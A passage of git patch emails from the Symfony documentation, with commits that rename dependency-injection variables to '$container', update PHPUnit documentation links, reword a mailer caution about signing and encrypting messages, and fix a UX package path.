+            $this->doConfigureContainer($containerConfigurator, $this->getAppConfigDir());
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
@@ -180,16 +180,16 @@ resources::
             $this->doConfigureRoutes($routes, $this->getAppConfigDir());
         }
 
-        private function doConfigureContainer(ContainerConfigurator $container, string $configDir): void
+        private function doConfigureContainer(ContainerConfigurator $containerConfigurator, string $configDir): void
         {
-            $container->import($configDir.'/{packages}/*.{php,yaml}');
-            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
+            $containerConfigurator->import($configDir.'/{packages}/*.{php,yaml}');
+            $containerConfigurator->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
 
             if (is_file($configDir.'/services.yaml')) {
-                $container->import($configDir.'/services.yaml');
-                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                $containerConfigurator->import($configDir.'/services.yaml');
+                $containerConfigurator->import($configDir.'/{services}_'.$this->environment.'.yaml');
             } else {
-                $container->import($configDir.'/{services}.php');
+                $containerConfigurator->import($configDir.'/{services}.php');
             }
         }
 

From d22a4bd4db92da667dfe8359f05e5459c27990b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 May 2023 11:31:48 +0200
Subject: [PATCH 3281/5766] Tweaks

---
 mailer.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 3a5e9223411..ee69bd3b123 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1046,12 +1046,12 @@ Before signing/encrypting messages, make sure to have:
 
 .. caution::
 
-    These features require messages to be rendered,
-    which is not always immediate.
-    For example, :ref:`templated emails <mailer-twig>` content is generated
+    Signing and encrypting messages require their contents to be fully rendered.
+    For example, the content of :ref:`templated emails <mailer-twig>` is rendered
     by a :class:`Symfony\\Component\\Mailer\\EventListener\\MessageListener`.
-    If you need to sign and/or encrypt such a message, you need to do so in
-    a :ref:`MessageEvent <messageevent>` listener with a negative priority.
+    So, if you want to sign and/or encrypt such a message, you need to do it in
+    a :ref:`MessageEvent <messageevent>` listener run after it (you need to set
+    a negative priority to your listener).
 
 Signing Messages
 ~~~~~~~~~~~~~~~~

From 7b0bac7ff72206c5e1b3d56231716fb1417dca48 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 May 2023 17:11:43 +0200
Subject: [PATCH 3282/5766] Update all links to PHPUnit docs

---
 best_practices.rst                |  2 +-
 components/phpunit_bridge.rst     | 10 +++++-----
 create_framework/unit_testing.rst |  4 ++--
 form/unit_testing.rst             |  2 +-
 testing.rst                       |  8 ++++----
 5 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 159868118b3..02896abc627 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -463,4 +463,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
-.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html#data-providers
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 2d8803c4089..558fd808db6 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -1062,13 +1062,13 @@ not find the SUT:
     </listeners>
 
 .. _`PHPUnit`: https://phpunit.de
-.. _`PHPUnit event listener`: https://phpunit.de/manual/current/en/extending-phpunit.html#extending-phpunit.PHPUnit_Framework_TestListener
+.. _`PHPUnit event listener`: https://docs.phpunit.de/en/10.0/extending-phpunit.html#phpunit-s-event-system
 .. _`ErrorHandler component`: https://github.com/symfony/error-handler
-.. _`PHPUnit's assertStringMatchesFormat()`: https://phpunit.de/manual/current/en/appendixes.assertions.html#appendixes.assertions.assertStringMatchesFormat
+.. _`PHPUnit's assertStringMatchesFormat()`: https://docs.phpunit.de/en/9.5/assertions.html#assertstringmatchesformat
 .. _`PHP error handler`: https://www.php.net/manual/en/book.errorfunc.php
-.. _`environment variable`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.php-ini-constants-variables
+.. _`environment variable`: https://docs.phpunit.de/en/9.5/configuration.html#the-env-element
 .. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
 .. _`Travis CI`: https://travis-ci.org/
-.. _`test listener`: https://phpunit.de/manual/current/en/appendixes.configuration.html#appendixes.configuration.test-listeners
-.. _`@covers`: https://phpunit.de/manual/current/en/appendixes.annotations.html#appendixes.annotations.covers
+.. _`test listener`: https://docs.phpunit.de/en/9.5/configuration.html#the-extensions-element
+.. _`@covers`: https://docs.phpunit.de/en/9.5/annotations.html#covers
 .. _`PHP namespace resolutions rules`: https://www.php.net/manual/en/language.namespaces.rules.php
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index c2d04115812..cd3b30cac6c 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -220,6 +220,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://phpunit.readthedocs.io/en/9.5/
-.. _`test doubles`: https://phpunit.readthedocs.io/en/9.5/test-doubles.html
+.. _`PHPUnit`: https://docs.phpunit.de/en/9.5/
+.. _`test doubles`: https://docs.phpunit.de/en/9.5/test-doubles.html
 .. _`XDebug`: https://xdebug.org/
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index d67b5f3bae7..3c4a7b780a3 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -241,4 +241,4 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
-.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html#data-providers
diff --git a/testing.rst b/testing.rst
index 3ca9f5e6e8a..ed0ab1a8e2c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1115,13 +1115,13 @@ Learn more
     /components/css_selector
 
 .. _`PHPUnit`: https://phpunit.de/
-.. _`documentation`: https://phpunit.readthedocs.io/
-.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/9.5/configuration.html
+.. _`documentation`: https://docs.phpunit.de/
+.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://docs.phpunit.de/en/9.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/9.5/assertions.html
+.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/9.5/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From b7d5c256c88f34ba00abe8cccd169bad295c62d9 Mon Sep 17 00:00:00 2001
From: Matthias Schmidt <matthias@mttsch.dev>
Date: Sun, 7 May 2023 20:11:10 +0200
Subject: [PATCH 3283/5766] [Frontend] Update package.json example path

See symfony/ux@561a4a3609bd234b5ef1dacc9c42f5f89f071372
---
 frontend/ux.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/ux.rst b/frontend/ux.rst
index a43bcd8d028..98360893905 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -59,7 +59,7 @@ PHP package. For example:
     {
         "devDependencies": {
             "...": "",
-            "@symfony/ux-chartjs": "file:vendor/symfony/ux-chartjs/Resources/assets"
+            "@symfony/ux-chartjs": "file:vendor/symfony/ux-chartjs/assets"
         }
     }
 

From 26d021c632d989621e541fdfe12b408e8c927aa7 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Wed, 10 May 2023 08:41:12 +0200
Subject: [PATCH 3284/5766] Use "$container" consistently

---
 .doctor-rst.yaml                              |  4 +-
 bundles/best_practices.rst                    |  4 +-
 bundles/configuration.rst                     | 12 ++--
 bundles/extension.rst                         |  8 +--
 bundles/prepend_extension.rst                 | 20 +++---
 cache.rst                                     |  8 +--
 components/dependency_injection.rst           | 52 +++++++-------
 .../_imports-parameters-note.rst.inc          |  4 +-
 .../dependency_injection/compilation.rst      | 72 +++++++++----------
 components/event_dispatcher.rst               | 20 +++---
 components/serializer.rst                     |  4 +-
 components/uid.rst                            |  8 +--
 components/var_dumper.rst                     |  4 +-
 configuration.rst                             | 50 ++++++-------
 configuration/env_var_processors.rst          | 20 +++---
 configuration/micro_kernel_trait.rst          | 14 ++--
 configuration/multiple_kernels.rst            | 18 ++---
 configuration/using_parameters_in_dic.rst     |  4 +-
 console/lazy_commands.rst                     | 10 +--
 controller/argument_value_resolver.rst        |  4 +-
 controller/upload_file.rst                    |  4 +-
 create_framework/dependency_injection.rst     | 24 +++----
 doctrine/events.rst                           | 12 ++--
 event_dispatcher.rst                          |  8 +--
 frontend/custom_version_strategy.rst          |  4 +-
 http_cache/cache_invalidation.rst             |  4 +-
 mailer.rst                                    |  4 +-
 messenger/multiple_buses.rst                  |  4 +-
 profiler.rst                                  |  4 +-
 quick_tour/the_architecture.rst               |  4 +-
 reference/configuration/framework.rst         |  4 +-
 reference/dic_tags.rst                        |  8 +--
 routing/custom_route_loader.rst               |  4 +-
 security.rst                                  |  8 +--
 security/access_control.rst                   |  4 +-
 service_container.rst                         | 22 +++---
 service_container/alias_private.rst           | 20 +++---
 service_container/autowiring.rst              | 10 +--
 service_container/calls.rst                   |  2 +-
 service_container/compiler_passes.rst         | 16 ++---
 service_container/configurators.rst           |  8 +--
 service_container/expression_language.rst     |  6 +-
 service_container/factories.rst               | 20 +++---
 service_container/import.rst                  |  8 +--
 service_container/injection_types.rst         | 12 ++--
 service_container/lazy_services.rst           |  8 +--
 service_container/optional_dependencies.rst   |  8 +--
 service_container/parent_services.rst         |  8 +--
 service_container/service_closures.rst        |  6 +-
 service_container/service_decoration.rst      | 32 ++++-----
 .../service_subscribers_locators.rst          | 30 ++++----
 service_container/shared.rst                  |  4 +-
 service_container/synthetic_services.rst      |  4 +-
 service_container/tags.rst                    | 66 ++++++++---------
 session.rst                                   | 16 ++---
 testing.rst                                   |  4 +-
 56 files changed, 375 insertions(+), 375 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 318d55b688a..6e22b45bb97 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -2,8 +2,8 @@ rules:
     american_english: ~
     argument_variable_must_match_type:
         arguments:
-            - { type: 'ContainerBuilder', name: 'containerBuilder' }
-            - { type: 'ContainerConfigurator', name: 'containerConfigurator' }
+            - { type: 'ContainerBuilder', name: 'container' }
+            - { type: 'ContainerConfigurator', name: 'container' }
     avoid_repetetive_words: ~
     blank_line_after_anchor: ~
     blank_line_after_directive: ~
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index d5c73209f26..e622cfd243f 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -442,8 +442,8 @@ The end user can provide values in any configuration file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 ->set('acme_blog.author.email', 'fabien@example.com')
             ;
         };
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index e25d6e01036..a30b6310ec1 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -217,7 +217,7 @@ force validation (e.g. if an additional option was passed, an exception will be
 thrown)::
 
     // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $configuration = new Configuration();
 
@@ -259,15 +259,15 @@ In your extension, you can load this and dynamically set its arguments::
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
-        $loader = new XmlFileLoader($containerBuilder, new FileLocator(dirname(__DIR__).'/Resources/config'));
+        $loader = new XmlFileLoader($container, new FileLocator(dirname(__DIR__).'/Resources/config'));
         $loader->load('services.xml');
 
         $configuration = new Configuration();
         $config = $this->processConfiguration($configuration, $configs);
 
-        $definition = $containerBuilder->getDefinition('acme.social.twitter_client');
+        $definition = $container->getDefinition('acme.social.twitter_client');
         $definition->replaceArgument(0, $config['twitter']['client_id']);
         $definition->replaceArgument(1, $config['twitter']['client_secret']);
     }
@@ -288,7 +288,7 @@ In your extension, you can load this and dynamically set its arguments::
         class AcmeHelloExtension extends ConfigurableExtension
         {
             // note that this method is called loadInternal and not load
-            protected function loadInternal(array $mergedConfig, ContainerBuilder $containerBuilder)
+            protected function loadInternal(array $mergedConfig, ContainerBuilder $container)
             {
                 // ...
             }
@@ -304,7 +304,7 @@ In your extension, you can load this and dynamically set its arguments::
     (e.g. by overriding configurations and using :phpfunction:`isset` to check
     for the existence of a value). Be aware that it'll be very hard to support XML::
 
-        public function load(array $configs, ContainerBuilder $containerBuilder)
+        public function load(array $configs, ContainerBuilder $container)
         {
             $config = [];
             // let resources override the previous set value
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 2a8a5965451..74659cd98b6 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
 
     class AcmeHelloExtension extends Extension
     {
-        public function load(array $configs, ContainerBuilder $containerBuilder)
+        public function load(array $configs, ContainerBuilder $container)
         {
             // ... you'll load the files here later
         }
@@ -89,10 +89,10 @@ For instance, assume you have a file called ``services.xml`` in the
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
     // ...
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $loader = new XmlFileLoader(
-            $containerBuilder,
+            $container,
             new FileLocator(__DIR__.'/../Resources/config')
         );
         $loader->load('services.xml');
@@ -115,7 +115,7 @@ they are compiled when generating the application cache to improve the overall
 performance. Define the list of annotated classes to compile in the
 ``addAnnotatedClassesToCompile()`` method::
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         // ...
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 6ad1ad758d3..35c277ec0e6 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -31,7 +31,7 @@ To give an Extension the power to do this, it needs to implement
     {
         // ...
 
-        public function prepend(ContainerBuilder $containerBuilder)
+        public function prepend(ContainerBuilder $container)
         {
             // ...
         }
@@ -52,15 +52,15 @@ a configuration setting in multiple bundles as well as disable a flag in multipl
 in case a specific other bundle is not registered::
 
     // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
-    public function prepend(ContainerBuilder $containerBuilder)
+    public function prepend(ContainerBuilder $container)
     {
         // get all bundles
-        $bundles = $containerBuilder->getParameter('kernel.bundles');
+        $bundles = $container->getParameter('kernel.bundles');
         // determine if AcmeGoodbyeBundle is registered
         if (!isset($bundles['AcmeGoodbyeBundle'])) {
             // disable AcmeGoodbyeBundle in bundles
             $config = ['use_acme_goodbye' => false];
-            foreach ($containerBuilder->getExtensions() as $name => $extension) {
+            foreach ($container->getExtensions() as $name => $extension) {
                 switch ($name) {
                     case 'acme_something':
                     case 'acme_other':
@@ -70,21 +70,21 @@ in case a specific other bundle is not registered::
                         // note that if the user manually configured
                         // use_acme_goodbye to true in config/services.yaml
                         // then the setting would in the end be true and not false
-                        $containerBuilder->prependExtensionConfig($name, $config);
+                        $container->prependExtensionConfig($name, $config);
                         break;
                 }
             }
         }
 
         // get the configuration of AcmeHelloExtension (it's a list of configuration)
-        $configs = $containerBuilder->getExtensionConfig($this->getAlias());
+        $configs = $container->getExtensionConfig($this->getAlias());
 
         // iterate in reverse to preserve the original order after prepending the config
         foreach (array_reverse($configs) as $config) {
             // check if entity_manager_name is set in the "acme_hello" configuration
             if (isset($config['entity_manager_name'])) {
                 // prepend the acme_something settings with the entity_manager_name
-                $containerBuilder->prependExtensionConfig('acme_something', [
+                $container->prependExtensionConfig('acme_something', [
                     'entity_manager_name' => $config['entity_manager_name'],
                 ]);
             }
@@ -141,13 +141,13 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
         // config/packages/acme_something.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('acme_something', [
+        return static function (ContainerConfigurator $container) {
+            $container->extension('acme_something', [
                 // ...
                 'use_acme_goodbye' => false,
                 'entity_manager_name' => 'non_default',
             ]);
-            $containerConfigurator->extension('acme_other', [
+            $container->extension('acme_other', [
                 // ...
                 'use_acme_goodbye' => false,
             ]);
diff --git a/cache.rst b/cache.rst
index 48d3a250bd1..118ef13a326 100644
--- a/cache.rst
+++ b/cache.rst
@@ -384,8 +384,8 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $containerConfigurator) {
-                $containerConfigurator->services()
+            return function(ContainerConfigurator $container) {
+                $container->services()
                     // ...
 
                     ->set('app.cache.adapter.redis')
@@ -465,14 +465,14 @@ and use that when configuring the pool.
         use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
+        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
             $framework->cache()
                 ->pool('cache.my_redis')
                     ->adapters(['cache.adapter.redis'])
                     ->provider('app.my_custom_redis_provider');
 
 
-            $containerBuilder->register('app.my_custom_redis_provider', \Redis::class)
+            $container->register('app.my_custom_redis_provider', \Redis::class)
                 ->setFactory([RedisAdapter::class, 'createConnection'])
                 ->addArgument('redis://localhost')
                 ->addArgument([
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index dcc98bf2450..a6d8521f03a 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -45,8 +45,8 @@ You can register this in the container as a service::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->register('mailer', 'Mailer');
+    $container = new ContainerBuilder();
+    $container->register('mailer', 'Mailer');
 
 An improvement to the class to make it more flexible would be to allow
 the container to set the ``transport`` used. If you change the class
@@ -68,8 +68,8 @@ Then you can set the choice of transport in the container::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder
+    $container = new ContainerBuilder();
+    $container
         ->register('mailer', 'Mailer')
         ->addArgument('sendmail');
 
@@ -83,9 +83,9 @@ the ``Mailer`` service's constructor argument::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->setParameter('mailer.transport', 'sendmail');
-    $containerBuilder
+    $container = new ContainerBuilder();
+    $container->setParameter('mailer.transport', 'sendmail');
+    $container
         ->register('mailer', 'Mailer')
         ->addArgument('%mailer.transport%');
 
@@ -112,14 +112,14 @@ not exist yet. Use the ``Reference`` class to tell the container to inject the
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    $containerBuilder = new ContainerBuilder();
+    $container = new ContainerBuilder();
 
-    $containerBuilder->setParameter('mailer.transport', 'sendmail');
-    $containerBuilder
+    $container->setParameter('mailer.transport', 'sendmail');
+    $container
         ->register('mailer', 'Mailer')
         ->addArgument('%mailer.transport%');
 
-    $containerBuilder
+    $container
         ->register('newsletter_manager', 'NewsletterManager')
         ->addArgument(new Reference('mailer'));
 
@@ -144,14 +144,14 @@ If you do want to though then the container can call the setter method::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    $containerBuilder = new ContainerBuilder();
+    $container = new ContainerBuilder();
 
-    $containerBuilder->setParameter('mailer.transport', 'sendmail');
-    $containerBuilder
+    $container->setParameter('mailer.transport', 'sendmail');
+    $container
         ->register('mailer', 'Mailer')
         ->addArgument('%mailer.transport%');
 
-    $containerBuilder
+    $container
         ->register('newsletter_manager', 'NewsletterManager')
         ->addMethodCall('setMailer', [new Reference('mailer')]);
 
@@ -160,11 +160,11 @@ like this::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
+    $container = new ContainerBuilder();
 
     // ...
 
-    $newsletterManager = $containerBuilder->get('newsletter_manager');
+    $newsletterManager = $container->get('newsletter_manager');
 
 Avoiding your Code Becoming Dependent on the Container
 ------------------------------------------------------
@@ -198,8 +198,8 @@ Loading an XML config file::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
-    $containerBuilder = new ContainerBuilder();
-    $loader = new XmlFileLoader($containerBuilder, new FileLocator(__DIR__));
+    $container = new ContainerBuilder();
+    $loader = new XmlFileLoader($container, new FileLocator(__DIR__));
     $loader->load('services.xml');
 
 Loading a YAML config file::
@@ -208,8 +208,8 @@ Loading a YAML config file::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\YamlFileLoader;
 
-    $containerBuilder = new ContainerBuilder();
-    $loader = new YamlFileLoader($containerBuilder, new FileLocator(__DIR__));
+    $container = new ContainerBuilder();
+    $loader = new YamlFileLoader($container, new FileLocator(__DIR__));
     $loader->load('services.yaml');
 
 .. note::
@@ -233,8 +233,8 @@ into a separate config file and load it in a similar way::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\PhpFileLoader;
 
-    $containerBuilder = new ContainerBuilder();
-    $loader = new PhpFileLoader($containerBuilder, new FileLocator(__DIR__));
+    $container = new ContainerBuilder();
+    $loader = new PhpFileLoader($container, new FileLocator(__DIR__));
     $loader->load('services.php');
 
 You can now set up the ``newsletter_manager`` and ``mailer`` services using
@@ -287,13 +287,13 @@ config files:
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 // ...
                 ->set('mailer.transport', 'sendmail')
             ;
 
-            $services = $containerConfigurator->services();
+            $services = $container->services();
             $services->set('mailer', 'Mailer')
                 ->args(['%mailer.transport%'])
             ;
diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index 45a75652fda..d17d6d60b26 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -31,6 +31,6 @@
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $containerConfigurator) {
-                $containerConfigurator->import('%kernel.project_dir%/somefile.yaml');
+            return static function (ContainerConfigurator $container) {
+                $container->import('%kernel.project_dir%/somefile.yaml');
             };
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 3880d6b5508..edaa8be8f47 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -61,10 +61,10 @@ A very simple extension may just load configuration files into the container::
 
     class AcmeDemoExtension implements ExtensionInterface
     {
-        public function load(array $configs, ContainerBuilder $containerBuilder)
+        public function load(array $configs, ContainerBuilder $container)
         {
             $loader = new XmlFileLoader(
-                $containerBuilder,
+                $container,
                 new FileLocator(__DIR__.'/../Resources/config')
             );
             $loader->load('services.xml');
@@ -114,14 +114,14 @@ are loaded::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\YamlFileLoader;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->registerExtension(new AcmeDemoExtension);
+    $container = new ContainerBuilder();
+    $container->registerExtension(new AcmeDemoExtension);
 
-    $loader = new YamlFileLoader($containerBuilder, new FileLocator(__DIR__));
+    $loader = new YamlFileLoader($container, new FileLocator(__DIR__));
     $loader->load('config.yaml');
 
     // ...
-    $containerBuilder->compile();
+    $container->compile();
 
 .. note::
 
@@ -132,7 +132,7 @@ are loaded::
 The values from those sections of the config files are passed into the first
 argument of the ``load()`` method of the extension::
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $foo = $configs[0]['foo']; //fooValue
         $bar = $configs[0]['bar']; //barValue
@@ -158,7 +158,7 @@ you could access the config value this way::
     use Symfony\Component\Config\Definition\Processor;
     // ...
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -219,13 +219,13 @@ The processed config value can now be added as container parameters as if
 it were listed in a ``parameters`` section of the config file but with the
 additional benefit of merging multiple files and validation of the configuration::
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $configuration = new Configuration();
         $processor = new Processor();
         $config = $processor->processConfiguration($configuration, $configs);
 
-        $containerBuilder->setParameter('acme_demo.FOO', $config['foo']);
+        $container->setParameter('acme_demo.FOO', $config['foo']);
 
         // ...
     }
@@ -234,14 +234,14 @@ More complex configuration requirements can be catered for in the Extension
 classes. For example, you may choose to load a main service configuration
 file but also load a secondary one only if a certain parameter is set::
 
-    public function load(array $configs, ContainerBuilder $containerBuilder)
+    public function load(array $configs, ContainerBuilder $container)
     {
         $configuration = new Configuration();
         $processor = new Processor();
         $config = $processor->processConfiguration($configuration, $configs);
 
         $loader = new XmlFileLoader(
-            $containerBuilder,
+            $container,
             new FileLocator(__DIR__.'/../Resources/config')
         );
         $loader->load('services.xml');
@@ -263,11 +263,11 @@ file but also load a secondary one only if a certain parameter is set::
 
         use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         $extension = new AcmeDemoExtension();
-        $containerBuilder->registerExtension($extension);
-        $containerBuilder->loadFromExtension($extension->getAlias());
-        $containerBuilder->compile();
+        $container->registerExtension($extension);
+        $container->loadFromExtension($extension->getAlias());
+        $container->compile();
 
 .. note::
 
@@ -292,11 +292,11 @@ method is called by implementing
     {
         // ...
 
-        public function prepend(ContainerBuilder $containerBuilder)
+        public function prepend(ContainerBuilder $container)
         {
             // ...
 
-            $containerBuilder->prependExtensionConfig($name, $config);
+            $container->prependExtensionConfig($name, $config);
 
             // ...
         }
@@ -323,7 +323,7 @@ compilation::
 
     class AcmeDemoExtension implements ExtensionInterface, CompilerPassInterface
     {
-        public function process(ContainerBuilder $containerBuilder)
+        public function process(ContainerBuilder $container)
         {
             // ... do something during the compilation
         }
@@ -377,7 +377,7 @@ class implementing the ``CompilerPassInterface``::
 
     class CustomPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $containerBuilder)
+        public function process(ContainerBuilder $container)
         {
             // ... do something during the compilation
         }
@@ -387,8 +387,8 @@ You then need to register your custom pass with the container::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->addCompilerPass(new CustomPass());
+    $container = new ContainerBuilder();
+    $container->addCompilerPass(new CustomPass());
 
 .. note::
 
@@ -418,7 +418,7 @@ For example, to run your custom pass after the default removal passes have
 been run, use::
 
     // ...
-    $containerBuilder->addCompilerPass(
+    $container->addCompilerPass(
         new CustomPass(),
         PassConfig::TYPE_AFTER_REMOVING
     );
@@ -460,11 +460,11 @@ serves at dumping the compiled container::
         require_once $file;
         $container = new ProjectServiceContainer();
     } else {
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         // ...
-        $containerBuilder->compile();
+        $container->compile();
 
-        $dumper = new PhpDumper($containerBuilder);
+        $dumper = new PhpDumper($container);
         file_put_contents($file, $dumper->dump());
     }
 
@@ -487,11 +487,11 @@ dump it::
         require_once $file;
         $container = new MyCachedContainer();
     } else {
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         // ...
-        $containerBuilder->compile();
+        $container->compile();
 
-        $dumper = new PhpDumper($containerBuilder);
+        $dumper = new PhpDumper($container);
         file_put_contents(
             $file,
             $dumper->dump(['class' => 'MyCachedContainer'])
@@ -519,12 +519,12 @@ application::
         require_once $file;
         $container = new MyCachedContainer();
     } else {
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
